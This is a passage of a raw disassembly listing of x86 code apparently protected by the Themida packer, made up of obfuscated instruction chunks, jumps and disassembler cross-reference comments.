pop esp
mov [esp], edi
push 37AAh
jmp loc_56D607
; ---------------------------------------------------------------------------
loc_55F049: ; CODE XREF: Themida_:0056A2E4j
jmp loc_55B555
; ---------------------------------------------------------------------------
loc_55F04E: ; CODE XREF: Themida_:0056DECCj
shr ecx, 4
shr ecx, 4
and ecx, 719F2778h
inc ecx
or ecx, 1070697Ch
sub ecx, 0D9C6FF0Ah
or ebp, ecx
pop ecx
dec ebp
sub ebp, 0C23E40AAh
or edx, ebp
pop ebp
jmp loc_55F9DE
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_566FBB
loc_55F079: ; CODE XREF: sub_566FBB+6A23j
mov esi, 481402C6h
sub esi, 4BBE1111h
dec esi
add esi, 30F92006h
xor ecx, esi
jmp loc_561B93
; END OF FUNCTION CHUNK FOR sub_566FBB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_566C65
loc_55F092: ; CODE XREF: sub_566C65+6159j
mov edi, 317A0673h
sub edi, 300AEFE6h
jmp loc_56F0E8
; END OF FUNCTION CHUNK FOR sub_566C65
; ---------------------------------------------------------------------------
loc_55F0A2: ; CODE XREF: Themida_:005651E5j
mov edi, eax
pop eax
jmp loc_55F174
; ---------------------------------------------------------------------------
loc_55F0AA: ; CODE XREF: Themida_:00562B07j
pop ebx
pop edx
add esi, 46BA39BEh
add ebp, esi
pop esi
push edx
mov edx, 430E245Fh
sub esi, edx
jmp loc_55F843
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_55F0C2: ; CODE XREF: sub_56755A+55BCj
mov esi, [esp+24h+var_24]
jmp loc_56D4EF
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_55F0CA: ; CODE XREF: Themida_:00569791j
mov [esp], ebx
push 2CB97673h
push dword ptr [esp]
jmp loc_55B8EB
; ---------------------------------------------------------------------------
loc_55F0DA: ; CODE XREF: Themida_:00566D4Bj
push ecx
mov ecx, 2B913D02h
sub ebp, ecx
mov ecx, [esp]
add esp, 4
add ebp, 15E63BF5h
jmp loc_55E2C9
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_55F0F6: ; CODE XREF: sub_56755A-66F9j
push 72E6h
mov [esp+28h+var_28], edi
push [esp+28h+var_24]
pop edi
pop [esp+28h+var_28]
mov esp, [esp+24h+var_24]
dec byte ptr [esp+24h+var_24]
pushf
jmp loc_55B555
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_55F112: ; CODE XREF: Themida_:00564C4Cj
push ebx
push ecx
mov ecx, 595B3754h
dec ecx
add ecx, 0A6A4C8B1h
jmp loc_561A44
; ---------------------------------------------------------------------------
loc_55F125: ; CODE XREF: Themida_:0056AB74j
mov edi, [esp]
jmp loc_55C962
; ---------------------------------------------------------------------------
loc_55F12D: ; CODE XREF: Themida_:0056CEB4j
push ecx
mov ecx, esp
push esi
jmp loc_56CB3E
; ---------------------------------------------------------------------------
loc_55F136: ; CODE XREF: Themida_:00567251j
mov esp, [esp]
jmp loc_56FDC7
; ---------------------------------------------------------------------------
loc_55F13E: ; CODE XREF: Themida_:0056CB54j
sub ecx, 4
xchg ecx, [esp]
pop esp
mov [esp], edx
push 28591806h
mov edx, [esp]
sub esp, 4
mov [esp], ebx
mov ebx, esp
add ebx, 4
jmp loc_56EB71
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_55F169: ; CODE XREF: sub_56755A-79A3j
push edx
mov edx, 233116EEh
jmp loc_568442
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_55F174: ; CODE XREF: Themida_:0055F0A5j
mov ecx, 71BEA12Fh
sub ecx, edi
pop edi
sub edx, ecx
pop ecx
pop ebx
jmp loc_565087
; =============== S U B R O U T I N E =======================================
sub_55F185 proc near ; CODE XREF: sub_562FB2+C2ADj
var_8 = dword ptr -8
var_4 = dword ptr -4
; FUNCTION CHUNK AT 0056A171 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0056C04D SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0056F116 SIZE 0000001B BYTES
push ebx
mov ebx, 9932FD9h
sub eax, 42E97ADEh
add eax, 4F8446E3h
sub eax, ebx
sub eax, 4F8446E3h
jmp loc_56F116
sub_55F185 endp
; ---------------------------------------------------------------------------
loc_55F1A1: ; CODE XREF: Themida_:0056C2D6j
push ebx
push edi
push 0DAB607Ch
jmp loc_56FE12
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56F83B
loc_55F1AD: ; CODE XREF: sub_56F83B+14j
sub ebx, edi
jmp loc_561E26
; END OF FUNCTION CHUNK FOR sub_56F83B
; ---------------------------------------------------------------------------
loc_55F1B4: ; CODE XREF: Themida_:00569A62j
mov ebx, 0C5662BDh
push edi
mov edi, 579520EEh
jmp loc_560775
; ---------------------------------------------------------------------------
loc_55F1C4: ; CODE XREF: Themida_:00560D89j
sub ah, 0A7h
mov ch, ah
pop eax
sub ch, 0E5h
and ch, 15h
jmp loc_55F7C3
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_55DA88
loc_55F1D5: ; CODE XREF: sub_55DA88-1E8Aj
pop esi
push 26C9h
mov [esp+4+var_4], ebx
mov ebx, 7C004092h
push 6B75h
mov [esp+8+var_8], ebp
mov ebp, 7C00408Eh
sub ebx, ebp
pop ebp
add esi, ebx
pop ebx
add esi, 4
xchg esi, [esp+0]
mov esp, [esp+0]
pop eax
push 5564h
mov [esp+0], ebx
push eax
push edx
push 0AE2779h
pop edx
push eax
mov eax, 3E3E5FFDh
jmp loc_56F58F
; END OF FUNCTION CHUNK FOR sub_55DA88
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_55F21E: ; CODE XREF: sub_56755A-4AB4j
add edi, 4
xchg edi, [esp+2Ch+var_2C]
pop esp
push 2B29h
mov [esp+2Ch+var_2C], ebp
push esi
mov esi, 3442377Eh
jmp loc_55D6ED
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_55F238: ; CODE XREF: Themida_:00562403j
push eax
jmp loc_55E77D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_55F23E: ; CODE XREF: sub_56755A+B85j
mov [esp+30h+var_30], ecx
jmp sub_56A468
; ---------------------------------------------------------------------------
loc_55F246: ; CODE XREF: sub_56755A-49C5j
xor ebx, eax
mov eax, [esp+30h+var_30]
add esp, 4
jmp loc_55F464
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_55F256: ; CODE XREF: Themida_:00570273j
xchg ecx, [esp]
pop esp
push edi
jmp loc_56ED62
; ---------------------------------------------------------------------------
loc_55F260: ; CODE XREF: Themida_:005639EDj
sub [esp+8], ecx
push dword ptr [esp]
mov ecx, [esp]
add esp, 4
add esp, 4
add [esp+4], edx
add dword ptr [esp+4], 1EBA56F5h
push dword ptr [esp]
pop edx
push edi
mov edi, esp
add edi, 4
add edi, 4
xchg edi, [esp]
pop esp
mov edx, [esp]
add esp, 4
jmp loc_56DAC2
; ---------------------------------------------------------------------------
loc_55F2A4: ; CODE XREF: Themida_:00568359j
not dl
xchg dl, ch
xor ch, 81h
push ax
jmp loc_563075
; ---------------------------------------------------------------------------
loc_55F2B2: ; CODE XREF: Themida_:0055F5D1j
and [edi+1Ch], ebx
pop ebx
jmp loc_55FD33
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_55F2BB: ; CODE XREF: sub_56755A+1E1Bj
add esp, 4
sub esp, 4
mov [esp+2Ch+var_2C], eax
jmp loc_56B913
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56667A
loc_55F2CF: ; CODE XREF: sub_56667A+6C2Ej
push edi
mov edi, 5A7B060Eh
jmp loc_5659C9
; END OF FUNCTION CHUNK FOR sub_56667A
; ---------------------------------------------------------------------------
loc_55F2DA: ; CODE XREF: Themida_:005671BBj
neg ebp
sub ebp, 0A0C99EA6h
jmp loc_5660CB
; ---------------------------------------------------------------------------
loc_55F2E7: ; CODE XREF: Themida_:00562936j
push eax
jmp loc_56E7E1
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_55F2ED: ; CODE XREF: sub_56755A+3E1j
sub ebx, 645870B6h
sub ebx, 5FB93E8Dh
add ebx, edx
add ebx, 5FB93E8Dh
push eax
mov eax, 3ADA5703h
jmp loc_57058A
; ---------------------------------------------------------------------------
loc_55F30C: ; CODE XREF: sub_56755A-5A89j
xchg ebp, [esp+30h+var_30]
jmp loc_56F05E
; ---------------------------------------------------------------------------
loc_55F314: ; CODE XREF: sub_56755A-9BE8j
add [esp+0Eh+var_C+2], edi
mov edi, [esp+0Eh+var_10+2]
jmp loc_560201
; ---------------------------------------------------------------------------
loc_55F320: ; CODE XREF: sub_56755A-D1Aj
add ebx, esi
pop esi
pop edi
xchg ebx, [esp+6+var_8+2]
pop esp
shr ecx, 0
or eax, eax
jz loc_55C828
push 4D51h
mov [esp+6+var_8+2], edx
mov edx, esp
add edx, 4
sub edx, 4
xor edx, [esp+6+var_8+2]
xor [esp+6+var_8+2], edx
xor edx, [esp+6+var_8+2]
pop esp
mov [esp+2+var_4+2], ebx
sub esp, 4
mov [esp+6+var_8+2], eax
mov eax, 7BAD4F15h
push esi
jmp sub_56532B
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_565CEF
loc_55F367: ; CODE XREF: sub_565CEF+6j
add edi, ebp
jmp loc_56F3F6
; END OF FUNCTION CHUNK FOR sub_565CEF
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_565C4A
loc_55F36E: ; CODE XREF: sub_565C4A-4173j
and esi, 299C1D7Dh
jmp loc_56BABD
; END OF FUNCTION CHUNK FOR sub_565C4A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_563616
loc_55F379: ; CODE XREF: sub_563616+7j
mov ebx, 716A0DBBh
mov edi, 716A0DBFh
xor edi, ebx
mov ebx, [esp+8+var_8]
push ebx
mov ebx, esp
push eax
mov eax, 4
add ebx, eax
pop eax
add ebx, 4
xchg ebx, [esp+0Ch+var_C]
pop esp
add ebx, edi
mov edi, [esp+8+var_8]
push esi
mov esi, esp
push eax
push edx
push 2E381672h
pop edx
dec edx
not edx
xor edx, 0D1C7E98Ah
mov eax, edx
pop edx
add esi, eax
jmp loc_55C9E7
; END OF FUNCTION CHUNK FOR sub_563616
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_55F3BE: ; CODE XREF: sub_56755A-7CBAj
sub edx, ecx
push ecx
mov ecx, 1DAC28D8h
jmp loc_564E2C
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_568470
loc_55F3CB: ; CODE XREF: sub_568470-8142j
mov ebx, [esp+0]
add esp, 4
jmp loc_56943D
; END OF FUNCTION CHUNK FOR sub_568470
; ---------------------------------------------------------------------------
loc_55F3D9: ; CODE XREF: Themida_:00566872j
add edi, 4
add edi, 4
push edi
push dword ptr [esp+4]
mov edi, [esp]
push ecx
mov ecx, esp
add ecx, 4
add ecx, 4
jmp loc_561DEA
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56E89A
loc_55F3FE: ; CODE XREF: sub_56E89A-12F13j
add ebx, eax
push ebp
mov ebp, 47E44EF1h
sub ebx, ebp
pop ebp
jmp loc_55FAFA
; END OF FUNCTION CHUNK FOR sub_56E89A
; ---------------------------------------------------------------------------
loc_55F40E: ; CODE XREF: Themida_:0056EF3Aj
mov sp, [esp]
jmp loc_55B555
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_55F417: ; CODE XREF: sub_56755A+35B3j
inc edi
xor edi, 16C469BCh
add ecx, edi
jmp loc_55D51E
; ---------------------------------------------------------------------------
loc_55F425: ; CODE XREF: sub_56755A-B3E1j
mov ecx, [esp+4+var_4]
add esp, 4
shr bh, 7
push eax
mov al, 0B1h
shr al, 5
push cx
mov cl, 0FDh
shl cl, 6
sub cl, 26h
shr cl, 2
jmp loc_56AE64
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_55F449: ; CODE XREF: Themida_:0055FEBDj
push dword ptr [esp]
pop ebx
add esp, 4
push ebp
mov ebp, esp
add ebp, 4
sub ebp, 4
jmp loc_56C65F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_55F464: ; CODE XREF: sub_56755A-8309j
xor ebx, 9E5262F5h
jmp loc_55C269
; ---------------------------------------------------------------------------
loc_55F46F: ; CODE XREF: sub_56755A+545j
push 50B6h
mov [esp+30h+var_30], eax
jmp loc_55B555
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_55F47C: ; CODE XREF: Themida_:0055CC2Bj
pop dword ptr [esp]
pop esp
mov [esp], eax
mov eax, esp
jmp loc_55B73C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_563973
loc_55F48A: ; CODE XREF: sub_563973-3614j
xor ebx, 80960A84h
sub esp, 4
jmp loc_56E1FA
; END OF FUNCTION CHUNK FOR sub_563973
; ---------------------------------------------------------------------------
loc_55F49B: ; CODE XREF: Themida_:005653F9j
sub esi, 76CA7A71h
pop ebx
jmp loc_568B77
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_55CD7B
loc_55F4A7: ; CODE XREF: sub_55CD7B+D347j
mov ecx, 6EB8622Dh
sub edx, ecx
pop ecx
pop ebp
push edx
push [esp+arg_0]
jmp loc_5629CE
; END OF FUNCTION CHUNK FOR sub_55CD7B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5637DB
loc_55F4BA: ; CODE XREF: sub_5637DB+2A15j
xor ebp, edi
jmp loc_567946
; END OF FUNCTION CHUNK FOR sub_5637DB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56C86A
loc_55F4C1: ; CODE XREF: sub_56C86A+386Cj
mov dl, 82h
jmp loc_55BD81
; END OF FUNCTION CHUNK FOR sub_56C86A
; ---------------------------------------------------------------------------
loc_55F4C8: ; CODE XREF: Themida_:0056A9FFj
mov ebx, 0AD21CAh
mov ecx, 74B24877h
sub ecx, 1DA11D46h
jmp loc_569EE0
; ---------------------------------------------------------------------------
loc_55F4DD: ; CODE XREF: Themida_:00561E1Bj
not edx
xchg edx, ebp
neg ebp
jmp loc_5634C0
; ---------------------------------------------------------------------------
mov ax, [esp]
jmp loc_56BA3C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_55F4F1: ; CODE XREF: sub_56755A+745j
pop esi
sub esp, 4
mov [esp+30h+var_30], ebx
push 74257AE7h
pop ebx
sub ebx, 5ECD6729h
jmp loc_55D6C8
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56E55E
loc_55F509: ; CODE XREF: sub_56E55E-26CEj
pop esp
jmp loc_5634E2
; END OF FUNCTION CHUNK FOR sub_56E55E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_55F50F: ; CODE XREF: sub_56755A+6072j
push [esp+30h+var_30]
jmp loc_561712
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_55D71E
loc_55F517: ; CODE XREF: sub_55D71E+F0EDj
mov edx, esp
add edx, 4
sub edx, 4
jmp loc_55EBBE
; END OF FUNCTION CHUNK FOR sub_55D71E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_561C3A
loc_55F52A: ; CODE XREF: sub_561C3A+511Dj
push 70A1h
mov [esp+0], ecx
push 39687C31h
pop ecx
add ecx, 677562CAh
push ebx
mov ebx, 702D6517h
sub ecx, ebx
pop ebx
xor ecx, 4F92055Eh
push ecx
mov ecx, esp
add ecx, 4
sub ecx, 4
xor ecx, [esp+4+var_4]
xor [esp+4+var_4], ecx
xor ecx, [esp+4+var_4]
pop esp
mov [esp+0], ecx
push edi
mov edi, 2C872F63h
add [esp+4], edi
pop edi
pop edi
sub edi, 2C872F63h
pop ecx
not edi
sub edi, 3EA03955h
sub esp, 4
jmp loc_569696
; END OF FUNCTION CHUNK FOR sub_561C3A
; ---------------------------------------------------------------------------
loc_55F58C: ; CODE XREF: Themida_:005606EDj
mov eax, 2377724Dh
dec eax
jmp loc_564727
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_55F597: ; CODE XREF: sub_56755A-5E19j
push 0
sub [esp+38h+var_38], ebp
jmp loc_567F4C
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_55F5A4: ; CODE XREF: Themida_:0055C535j
pop eax
sub esp, 4
jmp loc_55EB9C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56F653
loc_55F5AD: ; CODE XREF: sub_56F653-6D9Cj
mov ebp, esp
add ebp, 4
add ebp, 4
jmp loc_55B9ED
; END OF FUNCTION CHUNK FOR sub_56F653
; ---------------------------------------------------------------------------
loc_55F5BD: ; CODE XREF: Themida_:00568796j
pop edx
inc edi
or edi, 1C905A4Fh
xor edi, 0E43F748Dh
xor eax, edi
pop edi
sub ebx, eax
pop eax
jmp loc_55F2B2
; =============== S U B R O U T I N E =======================================
sub_55F5D6 proc near ; CODE XREF: sub_56755A+4602j
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 4
; FUNCTION CHUNK AT 0055EED8 SIZE 00000030 BYTES
; FUNCTION CHUNK AT 00560B48 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0056D595 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0056E609 SIZE 00000007 BYTES
sub esp, 4
jmp loc_56D595
sub_55F5D6 endp
; ---------------------------------------------------------------------------
loc_55F5E1: ; CODE XREF: Themida_:005606F8j
mov ebp, [esp]
push 2C4h
mov [esp], edi
push esp
pop edi
add edi, 4
push eax
jmp loc_55D92A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_561C3A
loc_55F5FA: ; CODE XREF: sub_561C3A+4CECj
add esi, edi
pop edi
add esi, 414D7065h
push [esp-8+arg_4]
push [esp-4+arg_0]
pop edi
add esp, 4
jmp loc_55DB04
; END OF FUNCTION CHUNK FOR sub_561C3A
; ---------------------------------------------------------------------------
loc_55F612: ; CODE XREF: Themida_:00563D56j
add esi, edx
jmp loc_56A81D
; ---------------------------------------------------------------------------
loc_55F619: ; CODE XREF: Themida_:0055F73Cj
add edi, ebp
jmp loc_562B62
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_560EB5
loc_55F620: ; CODE XREF: sub_560EB5+2B5j
pop si
mov ax, dx
pop edx
jmp loc_560F87
; END OF FUNCTION CHUNK FOR sub_560EB5
; ---------------------------------------------------------------------------
loc_55F62B: ; CODE XREF: Themida_:0056A1FEj
xor ebx, ebp
pop ebp
sub eax, ebx
pop ebx
xchg eax, [esp]
pop esp
mov [esp], eax
mov eax, esp
push ebx
mov ebx, esp
add ebx, 4
push esi
mov esi, 4
sub ebx, esi
pop esi
xchg ebx, [esp]
pop esp
mov [esp], ebx
mov ebx, 6B3B0DC4h
jmp loc_56DF46
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5706E9
loc_55F65D: ; CODE XREF: sub_5706E9-FD41j
push eax
mov eax, 1C3D661Eh
xchg eax, esi
jmp loc_568EB3
; END OF FUNCTION CHUNK FOR sub_5706E9
; ---------------------------------------------------------------------------
loc_55F669: ; CODE XREF: Themida_:0055DB7Ej
mov [esp], ebp
mov ebp, 4FE56B9Ah
xor ebp, 2C9961E1h
sub ebp, 0FFFFFFFFh
jmp loc_563595
; ---------------------------------------------------------------------------
loc_55F67F: ; CODE XREF: Themida_:0055BAB3j
mov ecx, 87B1C95h
jmp loc_565BCB
; ---------------------------------------------------------------------------
loc_55F689: ; CODE XREF: Themida_:0055D1A3j
mov [esp], eax
jmp loc_55D8EE
; ---------------------------------------------------------------------------
loc_55F691: ; CODE XREF: Themida_:0056111Aj
shr eax, 1
and eax, 10EA20B7h
jmp loc_56F6F9
; ---------------------------------------------------------------------------
loc_55F69D: ; CODE XREF: Themida_:00570120j
mov ebp, [esp]
add esp, 4
add ebp, 4
sub esp, 4
mov [esp], edi
mov edi, 78140AD4h
dec edi
jmp loc_56E725
; ---------------------------------------------------------------------------
loc_55F6BD: ; CODE XREF: Themida_:0056E538j
pop ebx
jmp loc_568D38
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_55F6C3: ; CODE XREF: sub_56755A-2B61j
add dh, al
jmp loc_56F7B7
; ---------------------------------------------------------------------------
loc_55F6CA: ; CODE XREF: sub_56755A+1401j
mov [esp+38h+var_38], ebx
mov ebx, 59753193h
or edi, ebx
pop ebx
push esi
mov esi, 7E30728h
jmp loc_5650DC
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_55F6E0: ; CODE XREF: Themida_:0055EF9Dj
mov eax, 4
jmp loc_568640
; ---------------------------------------------------------------------------
loc_55F6EA: ; CODE XREF: Themida_:00566EE1j
push esp
push dword ptr [esp]
pop eax
jmp loc_56ACE3
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5600E2
loc_55F6F4: ; CODE XREF: sub_5600E2-4748j
mov eax, edi
pop edi
add ebx, 132E3109h
add ebx, 34954F51h
jmp loc_5629DB
; END OF FUNCTION CHUNK FOR sub_5600E2
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5635DE
loc_55F708: ; CODE XREF: sub_5635DE+57B6j
add ecx, ebx
pop ebx
sub ecx, 4
xor ecx, [esp+8+var_8]
jmp loc_56398F
; END OF FUNCTION CHUNK FOR sub_5635DE
; ---------------------------------------------------------------------------
loc_55F716: ; CODE XREF: Themida_:00569F0Ej
add ebx, ebp
push 17B5h
mov [esp], edi
jmp loc_55C2BA
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_55F725: ; CODE XREF: sub_56755A-9459j
sub edx, ecx
pop ecx
add esi, edx
jmp loc_567E9D
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_55F72F: ; CODE XREF: Themida_:00566E9Cj
mov esp, [esp]
sar byte ptr [esp], cl
pushf
jmp loc_55B555
; ---------------------------------------------------------------------------
loc_55F73B: ; CODE XREF: Themida_:00563283j
pop edi
jmp loc_55F619
; ---------------------------------------------------------------------------
loc_55F741: ; CODE XREF: Themida_:0056185Ej
neg ecx
or ecx, 545E46D8h
add ecx, 81A01EFFh
mov ebx, ecx
pop ecx
inc ebx
jmp loc_56CEF4
; ---------------------------------------------------------------------------
loc_55F758: ; CODE XREF: Themida_:0055DC8Bj
push esi
mov esi, 2F2B688Bh
not esi
not esi
sub esi, 340515FCh
add esi, 16C3290Eh
jmp loc_56D08F
; ---------------------------------------------------------------------------
mov cx, [esp]
push ebx
jmp loc_564667
; ---------------------------------------------------------------------------
loc_55F77D: ; CODE XREF: Themida_:0056CF66j
mov [esp], ecx
jmp loc_560DC2
; ---------------------------------------------------------------------------
loc_55F785: ; CODE XREF: Themida_:00564FAFj
add si, 7027h
jmp loc_561069
; ---------------------------------------------------------------------------
loc_55F78F: ; CODE XREF: Themida_:00570712j
mov ebp, 22AA106Fh
shl ebp, 1
not ebp
push 2BECh
mov [esp], edi
mov edi, 1D5453E0h
add ebp, edi
pop edi
jmp loc_56B096
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_55DD27
loc_55F7AD: ; CODE XREF: sub_55DD27+11FD4j
add esi, 4
xor esi, [esp+8+var_8]
xor [esp+8+var_8], esi
xor esi, [esp+8+var_8]
pop esp
add ebp, 4
push ebp
jmp loc_561D4C
; END OF FUNCTION CHUNK FOR sub_55DD27
; ---------------------------------------------------------------------------
loc_55F7C3: ; CODE XREF: Themida_:0055F1D0j
add ch, 3Ch
add ch, 0FFh
xor ch, 66h
sub al, ch
pop ecx
jmp loc_55D839
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56970A
loc_55F7D4: ; CODE XREF: sub_56970A+2j
push 3A173864h
jmp loc_55DF0B
; END OF FUNCTION CHUNK FOR sub_56970A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56667A
loc_55F7DE: ; CODE XREF: sub_56667A+3498j
add esp, 4
push eax
push esi
jmp loc_56F8F3
; END OF FUNCTION CHUNK FOR sub_56667A
; ---------------------------------------------------------------------------
loc_55F7E8: ; CODE XREF: Themida_:00570574j
inc ch
or ch, 60h
jmp loc_56CD13
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_55F7F2: ; CODE XREF: sub_56755A-3866j
sub ecx, edi
pop edi
add ecx, edx
add ecx, 4555473Ch
mov edx, [esp-8+arg_4]
push eax
mov eax, esp
add eax, 4
add eax, 4
xchg eax, [esp-4+arg_0]
pop esp
add ecx, 2
xor ecx, [esp-8+arg_4]
xor [esp-8+arg_4], ecx
xor ecx, [esp-8+arg_4]
pop esp
cmp cl, al
pushf
jmp loc_55B555
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_55F824: ; CODE XREF: Themida_:005684A0j
add ebp, 1E68350Ch
jmp loc_55B965
; ---------------------------------------------------------------------------
loc_55F82F: ; CODE XREF: Themida_:00563AFAj
mov ecx, edx
pop edx
and ecx, 1DFB5E11h
jmp loc_56C7E5
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56EBD2
loc_55F83D: ; CODE XREF: sub_56EBD2-17F9j
pop esp
jmp sub_56657C
; END OF FUNCTION CHUNK FOR sub_56EBD2
; ---------------------------------------------------------------------------
loc_55F843: ; CODE XREF: Themida_:0055F0BDj
pop edx
push 61C9h
mov [esp], edi
jmp loc_5654E6
; ---------------------------------------------------------------------------
mov ax, [esp]
jmp loc_564693
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_55FE13
loc_55F85A: ; CODE XREF: sub_55FE13-1DEEj
mov cl, 45h
jmp loc_568557
; END OF FUNCTION CHUNK FOR sub_55FE13
; =============== S U B R O U T I N E =======================================
sub_55F861 proc near ; CODE XREF: sub_55EF75+938Aj
; FUNCTION CHUNK AT 0055B9A7 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00561E4B SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00563440 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0056662E SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0056F26C SIZE 00000006 BYTES
push ebx
jmp loc_56662E
sub_55F861 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
loc_55F867: ; CODE XREF: Themida_:0056E222j
mov [esp], ecx
push 5B38h
mov [esp], esp
add dword ptr [esp], 4
pop ecx
jmp loc_564B86
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_55E931
loc_55F87C: ; CODE XREF: sub_55E931+1DF8j
mov esi, [esp-4+arg_0]
push eax
mov eax, esp
add eax, 4
jmp loc_5696D6
; END OF FUNCTION CHUNK FOR sub_55E931
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_55F88C: ; CODE XREF: sub_56755A-3A55j
mov ecx, [esp-8+arg_4]
add esp, 4
jmp loc_56E793
; ---------------------------------------------------------------------------
loc_55F89A: ; CODE XREF: sub_56755A+78E9j
sub edx, 64AF6EF5h
jmp loc_55F3BE
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_55F8A5: ; CODE XREF: Themida_:00565096j
mov [esp], ecx
mov ecx, esp
add ecx, 4
add ecx, 4
xor ecx, [esp]
xor [esp], ecx
jmp loc_56A6B6
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_562F50
loc_55F8BE: ; CODE XREF: sub_562F50+38B5j
pop esp
mov [esp+0], eax
xor dword ptr [esp+0], 4A9F545Dh
pop dword ptr [edx+38h]
push ebx
mov ebx, 38h
add ebx, edx
push eax
jmp loc_56698F
; END OF FUNCTION CHUNK FOR sub_562F50
; ---------------------------------------------------------------------------
loc_55F8DA: ; CODE XREF: Themida_:005634C1j
mov ebx, 6AFF05B9h
or ebp, ebx
pop ebx
jmp loc_55CE5B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_55F8E7: ; CODE XREF: sub_56755A+7377j
xchg ebx, [esp-0Ch+arg_8]
pop esp
mov [esp-10h+arg_C], ecx
push ebx
push ecx
push 5978002Ch
jmp loc_561A22
; ---------------------------------------------------------------------------
loc_55F8FA: ; CODE XREF: sub_56755A-6FF9j
sub esi, 160A15Fh
sub ebx, 70DF5EB9h
add ebx, esi
add ebx, 70DF5EB9h
pop esi
jmp loc_55E893
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_55F914: ; CODE XREF: Themida_:005665ADj
sub ebp, 6C69642Dh
jmp loc_5621DE
; ---------------------------------------------------------------------------
loc_55F91F: ; CODE XREF: Themida_:0056C5ECj
pop edx
push eax
push esp
pop eax
add eax, 4
push ecx
jmp loc_56B9AF
